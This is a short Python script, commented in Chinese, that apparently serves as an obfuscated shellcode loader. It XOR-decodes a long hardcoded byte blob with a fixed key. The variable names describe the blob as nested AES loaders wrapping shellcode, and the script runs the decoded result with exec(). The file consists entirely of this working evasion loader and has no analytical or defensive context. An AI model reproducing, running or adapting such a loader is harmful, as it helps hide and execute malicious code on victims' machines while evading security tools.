def xor_encrypt(data: bytes, key: str) -> bytes:
    """
    使用自定义 key 进行 XOR 加密（对称）
    :param data: 要加密的原始字节数据
    :param key: 任意长度的字符串密钥
    :return: 加密后的字节数据
    """
    key_bytes = key.encode()
    key_len = len(key_bytes)
    return bytes([b ^ key_bytes[i % key_len] for i, b in enumerate(data)])

def xor_decrypt(encrypted_data: bytes, key: str) -> bytes:
    """
    XOR 解密，与加密函数完全相同（对称算法）
    """
    return xor_encrypt(encrypted_data, key)  # 同加密函数

key = "xfx18Q0xd3pOfkF"

xor_loader_aes_loader_aes_shellcode_loader=b'\x1e\x14\x17\\\x18\x12B\x01\x14G\x1f+\t\x06#V%\x11AP4BX\r^\x00 \x14\x1ff9#+<27B\x17\t\x133=\x1f\x1b2\x17\x02\x17\\]\x7fe\x0c\r_^\x1f\x07\x0f"\x11\x08\x1f\x11Q<@\x17\x16GP?\x07\x0fj\r\x08\x08P\\\\:\x11\tC\x1f=\x12K.\x19\x15\x10]Q3=ri9}EEK\x07=5X\xd9\x9f\xf2\xd5\xd7\xe2>z+\x03\rf\x19\x03\x0bn\\4S\x17\x00VX*\x08\x084\x01\x16\x0cT\\\x0eT\x19\x10RJo\x04\x122\x1d\x15T\x11S4IBD@\x04=FBfUXXSA%U\x0b^>zoFKf\x13\x03\x01nZ(D\x1d\x17\x13Mo\x0e\n5\x10\n\x11S\x16<TMLX\x156H\x0e(\x1b\t\x1cT\x10x\x19V\x00Z\x17*\x15\x1fnQkr\x11\x18q\x10\x1b\rC\x18*\x14K{X\'=b\x16?U\x0fLX\x1569\t?\x0c\x03\x0b\x1d\x18\x10u+J~?\x0b#4\x03;$Q<2q\x10XDW\x15,\x14\x126\x0c\x03\x1c\x11\x05qE\x16\x14R\x14g\x05\x026\x10\x03\n\x1f\\4S\n\x1dC\x04g\x03\x05%\n\x1f\x08E]5o\x1c\x05G\x11fJK\x07=5VST>S\x13;@\x195\x03BKrFX\x11\x18#U\x0c\x11A\x1eo\x02\x0e%\n\x1f\x08E]5=ri9}E\r\x0e?X[X\x13\x00\'\x04.<D\x13{DfLul\x19TK\x0e\\\x17\x05W\x15=9\n#\x0b9\x0bY]=\\\x1b\x0bW\x15\x10\n\x04\'\x1c\x03\n\x0cZvl\x00UU,7V_v$\x1eHSd)VL\x00o\x08)\x00_\x1a\x00\x04Om@i\x02YWo\x08w_7a$\x1e@Ud)\x01\x1eIo\x08-\x047>IW$I]0l\x00\x00P,7^S\x1a\x00_@m@7T68KIx$B!W:\x00\x00Y#l\x00\x07\x04,7_Z\x1a\x00\x07\x19\x18d)\t\x1a8K\x14w)\x16\x1a\x00\x05\x1e\x19h\rH\x1a\x06o\x08v\x00D\x1a\x00\x07\x1bm@4\x06I8K\x11w\x1d8\x1a\x00_Nxd)\x00@Ao\x08wQ7>@^\x14\x19d)VA8KIv07>\x1b\x07\x13\x13_\rHH\\o\x08w\x00C\x1a\x00_\x1brd)\x08\x1e\x05o\x08.Q7>\x1eV$I\x0f7\x03\n8KH}%0\x1a\x00\x07IVd)R\x1a8K\x12z:\x13~O\x07Vm@aV$\x1cPH\x13\x1eRr$\x1e\x1eT\x1a\rH\x1aRuA#D7>\x1eR$I\x084l\x00]\x04,7\x04\t\x1e$\x1e\x1c\x02d)V\x1d\no\x08vU7>\x1a\x05$I\tfl\x00\x07P,7V[\x1a\x00\x07Km@iV$\x1cQ\x14\x13\x1eZu3:\x00W\x081l\x00]\x05,7\x02\x0f\x1a\x00WLm@7\x01$\x1cPB\x1c:L\x1a\x00\x03\x1am@4\x06$\x1c\x02\x13y:\x13"JR$I\x01aj$\x1cPB\x13\x1e\x08\x7f S$IY`\x07$\x1cP\x11\x1fT7>\x1aR$I[4y$\x1c\x03\x12{:\x13 N:\x00W\\\rH\x1aWo\x08+V8,$\x1e\x1bTd)\x08@8K\x13+:\x13vN:\x00U\x08\rH\x19\\o\x08+\x03\x13\x03$\x1e\x1d\x08d)VO8KA}\x067>AV$I]gl\x00]Q,7WZ~$\x1e\x1aSd)\tO8KH+:\x13w\x1a:\x00\t]\rHI\x07n\x08\x13\x1e\x0f\x7fT:\x00\x00\x0ck\x06F!o\x08-U7>\x1eU$I\\el\x00\x02\x06\x0e9:\x13#H:\x00W\r;\x1bX8K\x11w:7\x1a\x00\x02\x1dm@0\x02\x1a8K\x12+.7>\x1eR$I\x08dl\x00\\\x02,7W\x0f\x1a\x00WKXd)\tOYG,7\x00^\x1a\x00\x03\x1em@4\x02-8K\x12x:\x13~I($I]0l\x00UW\x1d\x13:7>\x1eV\x1a@D\rH\x19\\o\x08.P7>\x1aT$IZ3l\x00\\V,7\x04\\\x19$\x1e\x1b\x05d)UJB\\,7\x04S\x1a\x00W\x1bm@7SLLX u$\x1b\x1a\x00VHm@2\x06P8K\x14.:\x13~\x1aG$I\x00`l\x168K@~I\\\x1a\x00\x04Hm@4\x06$\x1c\x02Dn\x007>\x1dS$I^fl\x00\x05\x03M\x0fW7>\x1bW$I\\b@78K\x15+:\x13wH:\x00\x08Z\rH\x19Vh\x13\x13\x1e\x0er$\x1e@\x07d%l\x00\x02\n\x01\x13\x1eS$$\x1eARd)RI8K@~:\x13"\x1eN$I\x00hl\x00\x05\x03H\x13\x1eZ$$\x1e@\x01d)V\x1b8KI~>7>\x19\x00$I\x00cl\x00\\\n\t\x03:\x13\x7fH\x0e$I]`l\x00]\x0b,7^\n\x1a\x00\x05@m@7\x05$\x1c\x03\x16$ 7>@R zg\rHH\x06o\x08-T7>@Q$I]5l\x00]V,7\x07\n\x1a\x00\x00Lm@hTK8K@-Y7>\x1aU$I^0l\x00\x05U\x17+:\x13#J>!m@0\x077Vo\x08+\x047>\x19Q$I\x01hl\x00\x01\x02,7\x03^\x1a$:\x00U\x08\rHAT\x00,7_\x08\x1a\x00\x03\x1em@7S$\x1c\nG :\x13\'@:\x00W\t\rH\x1ePo\x08+\x007>\x1b\x02$IY0l\x00U\x02,7^\ri$\x1e\x1b\x08`!l\x00\x06\x00,7\x02[\x1a\x00\x03Lm@iR$\x1cRI\x13\x1e\x08w$\x1e\x19\x02d)Q\x1b8K\x16{:\x13~H:\x00\t\x08\rH\x1bUv,7_R\x1a\x00^Lm@2\t$\x1cR\x13\x13\x1e\x08u$\x1e\x19Rd)\x00\x1d8K\x16y:\x13 O:\x00S\t\rHH\\o\x08,R7>\x1eV$I\\fXV8K\x14+:\x13%M:\x00P\t\rH\x1b\x01o\x08vV\x06\x1a\x00WIWd)\x01I8KH,GP.$\x1e\x19Pd)T\x1a8KI}:\x13#L\x06&\x1fd)\x00N8KH\x7fL7>IQ$I]ij$\x1cV\x12y:\x13~M:\x00R\x0f\rH\x1e\x01o\x08\x7f^7>H\x03$I\x003_$\x1c\x0bG\x13\x1e\tw$\x1e\x19\x08d)UN8A<\x13\x1e\x0fs$\x1eARd)\x01J8K\x11,:\x13~\x1b:\x00S]\rH\x1dVo\x08~\x027>\x1cR$IYhl\x00U\x06&\x13\x1e\x08%$\x1e@\x01rwl_8K\x15v:\x13~I:\x00\x08\n\rHIUh\x02\x13\x1e\x08s$\x1e@Sd)QM\no\x08+\x077>\x1eV=Cd)UI8K\x16.:\x13"\x1d:\x00W\n\rH\x1c\x01o\x08+\x047>@V$IZ4l\x00TP,7\x04\x0f\x12D:\x00T\\~m$\x1cWB\x13\x1eRr$\x1eA\x03d)\tJ\x0fo\x08,_\x1c\x1a\x00\x02@\x08d)VO8K\x12}:\x13wM\x0b$I\x084\\\x108K\x12-K7>I\x03$IZ0l\x00\x05\x00,7\x02\\q5:\x00R\n\x12l\x00\x01P,7\x00\x0e\x1a\x00^@m@`U$\x1cQH\x13\x1eRs$\x1eIWd)QL8KA,:\x13%A:\x00U\x0b\r\x17$\x1c\x03@\x13\x1e\tt@:\x00\x01Z\rH\x1aUo\x08wR7>@\x03$IZb\x1a$\x1cQ\x13\x13\x1e\tt\x15.$I\\3s\x1f8K\x11xK7>IV\x17m@2\x02Q\x17o\x08wT7\x1a$\x1e\x1aSd)SH8],7\x00_\x1a\x00V\x1e\x1ad)R\x1b8K\x15.:\x19\x1a\x00\x05\x1b\x1ad)\t\x1d)o\x08-T7>\x1a\x040m@aR$\x1c\x02A\x13\x1eSw\x13\x1a\x15m@0\x04$\x1c\x0b\x12\x13\x1eRr2\'$I\t3l\x00U\x02\t\x13\x1eZu$\x1eH\x00U~N$\x1cQ\x15<87>@W$IZdl\x00SU\x02\x13\x1e\r#$\x1e\x1d\x08d)\t\x1cXX,7\x00Y!$\x1eA\x07\x14qS<\x08o\x08-S7>I^$IYcl\x00TP,7\x03[\x1a\x00\x00Nm@2\x07[8K\x11.T=\x1a\x00\x04H\x05d)SH8KH{:\x13%\x1c:\x00U\t\rH\x1e\x00d)\x13\x1eR $\x1eASd)\t\x193O[\x13\x1e\n~$\x1e\x1aPd)UM\x15o\x08wV7>IP$I\\fl\x00UUG\x13\x087>\x1aT$IY`l\x00\x00\x05&\x13\x1e[ ,:\x00W\x0egl\x00\x05\x07\x1e\x13\x1eZqO^$IY3@-\x00o\x08,\x007>I\x02$I^`l\x00\x00R,7WX\x1a\x00\x03\x1cm@7\x07RAC,7^\n\x1a\x00\x00\x1dm@5U$\x1c\x03B\x13\x1e\t%0:\x00W\r\rH@Wo\x08.U\n\x1a\x00\x02@m@4\x02@&o\x08w\x07J\x1a\x00V@dd)SK8KA):\x13#K:\x00S\x0e\rH@Ss,7W\x0f\x1a\x00\x02Om@5S 8K\x13\x7f:\x13~J:\x00U\x08-l\x00\x00\x00E\x13\x1e\x0e$$\x1eH\x05d)SI[o\x08+\x037>\x1cP=m@i\x04$\x1c\x03F\x13\x1e\n"$\x1e\x1bUg\rH\x1a\\o\x08*W-\x1a\x00_HYd)T\x198K\x16|W7>@_$I\t0l\x00\x05\x04,7\x00\t2$\x1e\x19\x01d)\x08N8K\x12}:\x13#J\x08$I\x08il\x00\x06\x06,7\x03S\x1a\x00\x03Am@aU$\x1c\x0b\x14\x13\x1e\r\x7f$\x1e\x1b\x06x Y$\x1cR\x11\x13\x1eRr$\x1eI\ti>h$\x1cQ\x15i:\x13#L\x0e$I]4l\x00\\R,7VZ\x1a\x00\x04H\x1fd)RN8K\x16x:\x13\'O\x0e%m@0QN8K\x13~:\x13w\x1d:\x00\x01^\rH@V\x1d,7V_\t*($I\x003l\x00\x00\x02,7_\x0f\x1a\x00\x00Km@i\x03$\x1c\x0b@\x13\x1e\n \x08\x0c$I\x08cl\x00\x05\x02,!:\x13~L:\x0cm@`\x03$\x1c\x02I\x13\x1e\nw$\x1eAPd)\x08\x1c8K\x14*Z7>\x1b\x02$I\x01hl\x00\x05\x05>\x13\x1e\rt$\x1eHSd)UL\x04b&*\nK$$\x1eISd)\tK8K\x12|:\x19\x10\'\x1bD^L\rH\x1b\x01\x1a,;:\x13\'\x1dR,m@2U *o\x08~\x057>\x19V$IYa\x1e&\x18~\t\x13\x1e\x0fwT:\x00P\x0f\x1f\x02$\x1cV\x12r\x16\x01\x1a\x00\x04I\t{\rH\x1e\\o\x08*\x03S\x1a\x00^\x19\x0b|\rHA]o,\x13\x1e\x0f\x7f$\x1eI\x06d)\x08J8K\x14|JM\x1a\x00_Lm@5\t$\x1c\x03E\x13:+\x1a\x00_\x1cm@3\x03$\x1c\x03@::\x13%@:\x00U\x01\rHIV\x1e,7_\x0e\x1a\x00\x03\x1bm@0\x01$\x1cRH\x13\x1eR#\r:\x00\tZ\rH\x1eR\x07,7\x03X\x1a\x00\x04N\x04d)VM\x08u\x03\x13\x1e\x0fw$\x1e\x19\x00d)\x01H8K\x11~:\x13~NZ$I\x01b\x1a$\x1cV\x13\x13\x1e\x0eu]:\x00W[\rHHRo\x08+WWxO:\x00T\x0b\rH\x1b\x07IG\x13\x1e[p$\x1e\x1e\x06l\rH\x19\x07o\x08v_7>\x1aR$I\thl\x00\x06\x02,7\x02_e$\x1e\x1d\x01w(l\x00]\x036\x13\x1eZv0\x12$I\x004l\x00\x07\x066\x13\x1e\nu$\x1e\x1e\x05d)TK8K\x13.:\x13\x7fA\x0f$I\\5l\x00\\P0\x13\x1e\t%$\x1e@S\x12\rH\x1eVo\x08-V<\x1a\x00_\x1eId)VA\x13O,7V]\x1a\x00\x04\x1am@4T$\x1c\x03B\x13\x1e\tu$\x1e\x1c\x04\x03\x12l\x00]\x04!\x0b=7>\x1b\x07Em@7Q$8D%\x13\x1e[u$\x1eH\x01d)\x01IGo\x08)^7>@W$I\x08`G88K\x16|:\x13 \x1cT$I\t`h\x0b8KAv:\x13#A:\x00\x08\x0b\x10l\x0c8G,7W\n\x7f$\x1e@Rw\x13l\x00\x00W7\x13\x1e\np\\4$IY5d$\x1cUB\x13\x1e\x0f\x7f$\x1e\x1d\td)RK8K\x12*:\x13~@:\x00\t^\nl\x00U\x07,7\x04Yi$\x1e\x1c\x08d)S\x1c8K\x12,:\x13\x7fL8\x01m@hTO8KA)Z7>IU@m@hSD6\x0e,7^]\x1a\x00VNW\x06\x05f$\x1c\x02D\x13\x1e\x0f~$\x1eI\x08`\rHAVI,7^Zg\r:\x00P\r7\x1d\x1f8KH.97>I\x02$I[fl\x00]U,7\x03Z\x1a\x00\x02@m@7\x05L8KHw\x047>\x1c\x02$I[bl\x00\x02\n,7^Y\x1a\x00\x07H\x0bn\rHI\x06\x0f,7V\x08\x1a\x00\x04L\x1bd)\x00M\x0bo\x08+\x04W\x1a\x00\x03\x1cm@a\x03\x06Xo\x08.R\x13=$\x1e\x1a\x08d)\x00I-o\x08)R7>\x1a\x02$I\x00il\x00TQ,7^X\x1a\x00_I\x10d)S\x1b8K@\x7fW7>HU$I]il\x00]\x02,7\x00\x0f\x19$\x1e\x1d\x02\x03\rH\x1aQo\x08+\x077>AW$IZf\x1d$\x1cUC\x13\x1e\rt$\x1e\x1e\x02d)U\x1d,@,7_]\x1a\x00\x02\x1em@4\x07$\x1cUA\x13\x1e\x0ft\x18:\x00\x00Z\rH\x1bQo\x08\x7fV7>\x1dU$IYdl\x00TP_\x1eT7>H\x03$I^2l\x00\x06\x07[\x13\x1e\nrY:\x00R\t\rH\x1b\x00o\x08\x7f\x037>\x19U$mF\rH\x19]o\x08-S7>@U$I\t5V$\x1cR\x13$:\x13\x7fI:\x00U]\rH\x1c\x02o\x08\x7f\x037>@_$IZ7l\x00U\x04\x11\x13\x1e[$$\x1e\x1a\x01d)S\x198K\x16x[+1$\x1e\x1a\x07d)U\x1b1\x16,7WR\x1a\x00W\x1em@`R38K\x14,:\x13\x7fJ:\x00U\x01\rH\x1dRS,7W\x08\x03\rHEm@2S$\x1cVC\r1\x0fg$\x1eIUN\rHA\x07o\x08-_7>@R$I\x003l\x00\x06Q,7\x03R8$\x1e\x1c\x05d)\x08\x1c8K\x12v\'7>IT$IZd\x17un>zBlHf\x90\xc1\xdb\xd4\x97\xd7=r\x14A\x19!\x12Cd#L%\x11\xd0\xf6\x93\x9d\xcb\xb5P.\x03\x18\x19\x14\t\x19U]#o\x19\x01@/<\x0e\x0e*\x14\x05\x17U]\x0e\\\x17\x05W\x15=HEhZOu;Y4C\'\x17[\x15#\n\x08)\x1c\x03\']W0T\x1d\x16\x13Mo\x07\x0e5\'\x02\x1dRW5UP\x05V\x03\x10\n\x04\'\x1c\x03\nnY4C\'\x17[\x15#\n\x08)\x1c\x03\']W0T\x1d\x16\x1fP$\x03\x12oulu;5[\x13X\x82\xba\xd7\xa7\xc7\xe7Kr\x16\nXV%\x18Z?\x19-o\x80\xe2\xe1\x90\xc7\xf4\x11Y4C\'\x17[\x15#\n\x08)\x1c\x03\']W0T\x1d\x16\x1d^aDBKrkr<2\\:\x1d\x1cV\x13g\x07\x0e5\'\x15\x10TT=S\x17\x00V/#\t\n"\x1d\x14Q'




# 解密
print("[*] 解密 xor_loader_aes_loader_aes_shellcode_loader...")
aes_loader_aes_shellcode_loader = xor_decrypt(xor_loader_aes_loader_aes_shellcode_loader,key)


# 执行
print("[*] 执行 aes_loader_aes_shellcode_loader...")
exec(aes_loader_aes_shellcode_loader)